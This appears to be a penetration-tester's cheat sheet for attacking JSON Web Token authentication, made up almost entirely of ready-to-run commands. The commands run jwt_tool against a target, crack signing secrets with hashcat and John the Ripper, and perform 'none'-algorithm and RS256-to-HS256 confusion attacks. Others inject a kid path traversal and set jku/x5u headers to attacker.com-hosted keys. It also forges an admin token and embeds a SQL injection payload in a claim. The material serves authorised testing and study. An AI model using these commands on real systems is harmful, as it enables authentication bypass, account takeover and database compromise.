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JWT
Tools
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# https://github.com/ticarpi/jwt_tool
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# https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
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# https://github.com/hahwul/jwt-hack
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# https://github.com/mazen160/jwt-pwn
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# https://github.com/mBouamama/MyJWT
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# https://github.com/DontPanicO/jwtXploiter
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​
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# Test all common attacks
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python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"
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​
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# Hashcat
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# dictionary attacks
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hashcat -a 0 -m 16500 jwt.txt passlist.txt
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# rule-based attack
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hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
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# brute-force attack
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hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
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​
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# Crack
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pip install PyJWT
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# https://github.com/Sjord/jwtcrack
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# https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
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jwt2john.py JWT
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./john /tmp/token.txt --wordlist=wordlist.txt
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​
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# Wordlist generator crack tokens:
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# https://github.com/dariusztytko/token-reverser
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# RS256 to HS256
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openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
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cat public.pem | xxd -p | tr -d "\\n" > hex.txt
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# Sign JWT with hex.txt
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​
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# Generate JWT from terminal
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pip install pyjwt
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python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'
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General info
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1. Leak Sensitive Info
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2. Send without signature
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3. Change algorythm r to h
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4. Crack the secret h256
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5. KID manipulation
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eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A
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https://trustfoundry.net/jwt-hacking-101/
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https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
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https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
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https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
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- JKU & X5U Headers - JWK
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- Header injection
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- Open redirect
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​
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​
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- Remember test JWT after session is closed
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Attacks
Header
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# None algorithm
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python3 jwt_tool.py <JWT> -X a
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# From RS256 to HS256
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python3 jwt_tool.py <JWT> -S hs256 -k public.pem
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# Not checked signature
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python3 jwt_tool.py <JWT> -I -pc name -pv admin
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# Crack secret key
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python3 jwt_tool.py <JWT> -C -d secrets.txt
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# Null kid
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python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
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# Use source file as kid to verify signature
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python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
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# jku manipulation for open redirect
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python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"
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​
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# x5u manipulation for open redirect
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openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
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python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
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Payload
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# SQLi
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python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem
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​
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# Manipulate other values to change expiration time or userID for example
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